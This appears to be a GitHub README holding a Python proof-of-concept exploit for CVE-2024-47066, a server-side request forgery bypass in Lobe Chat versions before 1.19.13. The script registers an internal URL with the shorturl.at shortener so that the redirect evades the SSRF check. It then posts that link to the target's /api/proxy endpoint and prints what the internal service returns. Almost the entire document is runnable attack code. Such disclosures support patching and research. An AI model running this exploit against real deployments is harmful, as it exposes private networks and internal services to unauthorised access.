README.md
Rendering markdown...
import requests
import time
import sys
import re
import rich_click as click
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
banner = r""" . .=@@@%@@-
.#%=------=#
.%*---------@:
+%----------%-
#*----------%=
-+#%@@@@@@%#*=---*#=#%@@@#+
.-@@*:..............-%@@+--------@:
.#@=.......................:*@*----@=
=@=..............................*@+@
+@:..................................=@*%%:
.@-......................................%#-%=
.@:........................................=%@.
.@...........................................=#
%-............................................#=
-%......:.......................:..............:@ ......
*+......-+#%.................@#+:...............#- .%@@@@@@@@@@@@+ :%@@@@@@@@@@*. .+%@@@@@@@%*:
%-..............................................*+ @@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@. %@@@@@@@@@@@@@#
%:......=*=..................:+*=...............*+ %@@@@@@@@@@@@@@=-@@@@@@@@@@@@@@@.+@@@@@@@@@@@@@@%
#-.....# @@................:* .@@..............*= :=**####@@@@@@=-@@@@. +@@@@@.*@@@@=:::=%@@@@%
+*.....+@@@*.....:*@%#-......#@@@=..............%: ......@@@@@@:=@@@@. #@@@@@.*@@@% #@@@@%
.@.............................................=# :@@@@@@@@@@@@@@ +@@@@+ .@@@@@@.*@@@@. .@@@@@%
=#............................................@: @@@@@@@@@@@@@@+ =@@@@@@@@@@@@@@@.*@@@@@@@@@@@@@@%
**..........................................%: .@@@@@@@@@@@@@- :@@@@@@@@@@@@@@@.=@@@@@@@@@@@@@@%
+%.......................................:@: .@@@@@+ :*#%%@@@@@@@@@ :#@@@@@@@@@@@@%
.@-....................................*@ .@@@@@%%%%%%%%%= :@@@@@# +@@@@@*
=@-................................+@. @@@@@@@@@@@@@@# -@@@@@+ +@@@@@=
:%%:..........................=@#. *@@@@@@@@@@@@@* :@@@@@- +@@@@@:
:@#..................:-+@@+. .+#@@@@@@@@@%. .@@@@%. -@@@@%
.%*%-...............**=::..:@+ ....
*#.:@.........................-@=%@@%-
#+..-@... ...............##---:@:
.%...:@.. .......:.......@:-:.:@.
@:...@.. ......@:......%-@:..%-
.@*-:+%. .......%+...:%@%=---@:
...#*. ........@*#*-...:--**
+@:. ......-@@----:....-%*
.@:*@+..............:@----:..:#@.
=*....=#@@%%%:.......@=---=%@=
*+.......:%.@:.......#@#=:. Author: EQST(Experts, Qualified Security Team)
.@:......*+ #+......:@. Github: https://github.com/EQSTLab
-%@@@@#: -#@@@@#-
Analysis base : https://github.com/advisories/GHSA-3fc8-2r3f-8wrg
=============================================================================================================
CVE-2024-47066 : Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.
=============================================================================================================
"""
class LobeChatExploit:
def __init__(self, vuln_url: str, internal_url:str):
self.vuln_url = vuln_url
self.internal_url = internal_url
self.shorten_url = None
def greeting() -> None:
print(banner)
def spinner(duration=10, interval=0.1) -> None:
spinner_chars = ['|', '/', '-', '\\']
end_time = time.time() + duration
while time.time() < end_time:
for char in spinner_chars:
sys.stdout.write(f'\r[{char}] Exploit loading, please wait...')
sys.stdout.flush()
time.sleep(interval)
print("")
def getShrtUrl(self) -> None:
# Get shorten URL - shorturl.at
urlshrt_api = "https://www.shorturl.at/shortener.php"
internal_url = self.internal_url
headers = {
'Host': 'www.shorturl.at',
'Content-Type': 'application/x-www-form-urlencoded'
}
# To bypass short URL restriction, We can use the Fragment(#)
data = {
'u': internal_url + "?foo=" + str(int(time.time()))
}
response = requests.post(urlshrt_api, headers=headers, data=data)
pattern = r'value="(https?://[^\s"]+)"'
match = re.search(pattern, response.text)
if match:
shorten_url = match.group(1)
print(f"[+] Shorten URL: {shorten_url}")
self.shorten_url = shorten_url
else:
print("[-] Failed to get the shorten URL!")
self.shorten_url = input("[+] Input shorten URL(manual): ")
def sendRequest(self) -> None:
print('[+] Trying SSRF Attack ...')
vuln_url = self.vuln_url
vuln_api = vuln_url + "/api/proxy"
headers = {
"Accept-Encoding": "gzip, deflate, br",
"Referer": "http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=",
"Content-Type": "text/plain;charset=UTF-8",
"Origin": "http://0.0.0.0:3210",
"Connection": "keep-alive",
"Priority": "u=0",
"Cookie": "LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined"
}
data = self.shorten_url
response = requests.post(vuln_api, headers=headers, data=data)
if response.status_code == 200:
print(f"[+] Done!! \nResponse: {response.text}\n")
else:
print(f"[-] Failed to get response!")
exit(1)
def exploit(self) -> None:
self.getShrtUrl()
self.sendRequest()
# argument parsing with rich_click
@click.command()
@click.option(
"-v",
"--vuln_url",
default="http://localhost:3210",
help="Specify a URL or domain for vulnerability detection",
)
@click.option(
"-i",
"--internal_url",
default="http://www.internal-service:4000",
help="Specify a internal URL or domain for Request",
)
def main(vuln_url: str, internal_url: str) -> None:
LobeChatExploit.greeting()
LobeChatExploit.spinner(duration=1)
LobeExploit = LobeChatExploit(vuln_url, internal_url)
LobeExploit.exploit()
if __name__ == "__main__":
main()